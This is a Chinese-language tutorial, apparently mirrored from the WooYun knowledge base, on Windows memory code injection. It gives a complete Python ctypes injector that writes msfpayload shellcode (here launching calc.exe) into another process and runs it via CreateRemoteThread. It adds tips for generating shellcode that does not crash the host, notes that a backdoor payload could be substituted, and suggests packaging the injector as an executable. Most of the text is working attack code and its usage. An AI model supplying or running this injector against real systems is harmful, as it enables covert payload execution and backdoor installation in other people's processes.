作者:
light
·
2014/12/29 11:57
0x00 背景
本文為《小學生科普系列》的番外篇,本系列面向小學生,純科普,大牛莫噴~
教程中所有內容僅供學習研究,請勿用於非法用途,否則....我也幫不了你啊...
說起注入,大家第一印象可能還習慣性的停留在sql注入,指令碼注入(XSS)等。今天light同(jiao)學(shou)帶大家從web端回到作業系統,一起探討Windows下的經典注入——記憶體注入,使用python編寫一個簡單的程式碼注入程式。
記憶體注入常見的方法有dll注入和程式碼注入。Dll注入通俗地講就是把我們自己的dll注入到目標程式的地址空間內,“寄生”在目標程式裡執行。Dll注入需要另外一個“推進器”程式將我們的“寄生蟲”dll“注”進目標程式中。
程式碼注入和dll注入的思路一致,只是“寄生蟲”程式碼與“推進器”程式碼在同一個程式裡面。
Dll檔案:windows動態連結庫。在Windows中,許多應用程式並不是一個完整的可執行檔案,它們被分割成一些相對獨立的動態連結庫,即DLL檔案,放置於系統中。當我們執行某一個程式時,相應的DLL檔案就會被呼叫。
這次我們的實驗選取“程式碼注入”這一課題。廢話不多說,開始動手!
0x01 準備工作
寫python的小程式,light同學推薦性感的Sublime text2 +JEDI(python自動補全外掛)。
首先安裝sublime text2的“外掛管理”外掛package control:
開啟sublime後,組合鍵“ctrl+~”調出控制檯,將以下程式碼貼上進命令列中並回車:
#!python
import urllib2,os;pf='Package Control.sublime-package';ipp=sublime.installed_packages_path();os.makedirs(ipp) if not os.path.exists(ipp) else None;open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read())
安裝完畢後重啟sublime text2,輸入Ctrl + Shift + P 然後輸入Install Package
然後輸入“jedi”,回車安裝。
磨刀不誤砍柴工,裝好外掛,我們開始正式擼程式碼。
0x02 烹飪開始
原料:win7、python27、sublime text2、msfpayload
必備技能:windows api 基礎、python基礎、metasploit基礎(這個還不會的趕快去這裡補習!http://zone.wooyun.org/content/17377)
這次的注入程式碼主要藉助了python的ctypes庫,這個庫使得python可以直接呼叫windows API,非常方便。“為什麼不用c或者c++?”,因為我手頭邊只有一本《gray hat python》。
#!python
#-*- coding:utf-8 -*-
#匯入sys庫以及ctypes庫
import sys
from ctypes import *
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32 = windll.kernel32
pid = int(sys.argv[1])
if not sys.argv[1]:
print "Code Injector: ./code_injector.py <PID to inject>"
sys.exit(0)
# shellcode使用msfpayload生成的,我這裡是一個計算器,當然你可以直接生成一個後門程# 序。生成程式碼:msfpayload windows/exec CMD = calc.exe EXITFUNC=thread C
shellcode = ("\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d"
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63"
"\x2e\x65\x78\x65\x00")
code_size = len(shellcode)
# 獲取我們要注入的程式控制程式碼
h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) )
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
# 為我們的shellcode申請記憶體
arg_address = kernel32.VirtualAllocEx( h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
# 在記憶體中寫入shellcode
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))
# 建立遠端執行緒,指定入口為我們的shellcode頭部
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process,None,0,arg_address,None,0,byref(thread_id)):
print "[*] Failed to inject shellcode. Exiting."
sys.exit(0)
print "[*] Remote thread successfully created with a thread ID of: 0x%08x" % thread_id.value
控制程式碼:控制程式碼與普通指標的區別在於,指標包含的是引用物件的記憶體地址,而控制程式碼則是由系統所管理的引用標識,該標識可以被系統重新定位到一個記憶體地址上。這種間接訪問物件的模式增強了系統對引用物件的控制。
可以看到,之所以能進行記憶體注入,主要歸功於windows開放的一個關鍵api:CreateRemoteThread。這個函式允許我們建立一個在其它程式地址空間中執行的執行緒(也稱:建立遠端執行緒)。
而整個注入過程可以劃分為三個步驟:獲取目標程式控制程式碼,把shellcode寫入記憶體,建立遠端執行緒。這也是記憶體注入的基本原理和機制。
在使用msfpayload生成shellcode時,有兩個坑需要大家注意。
坑一: Msfpayload生成shellcode時,不能使用msfencode,有些資料告訴我們生成shellcode時要在後面加上 msfencode -b ‘\x00’ 來避免空字,但是msfencode一旦使用,預設就會使用 x86/shikata_ga_nai 等編碼器對shellcode編碼一次。這裡light同學推薦大家用 msfpayload xxx C的方式來生成純淨的shellcode。
坑二:
msfpayload windows/exec CMD = calc.exe C
直接生成的shellcode執行結果是宿主100%崩潰,簡直就是程式殺手。我在測試過程中,把用來測試的百度雲管家崩的天昏地暗。這個坑花了好久才跳出來。
後來號基友用ollydbg除錯發現shellcode退出時直接exit process,把整個程式都結束了。
在基友熱心幫助下,再參考msfpayload官方文件後頓悟,果斷修改EXITFUNC的值為thread(預設為process):
測試成功!
最後,我們可以把這個python指令碼用py2exe打包成exe可執行檔案。有興趣的話還可以加上UI,做成一個可以定製不同注入型別(dll或程式碼注入)、注入程式碼(反向後門或惡作劇程式)的程式。
任何問題或者好的建議請騷擾:[email protected]
參考文件:
《gray hat python》
http://www.offensive-security.com/metasploit-unleashed/Msfpayload
http://www.google.com
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!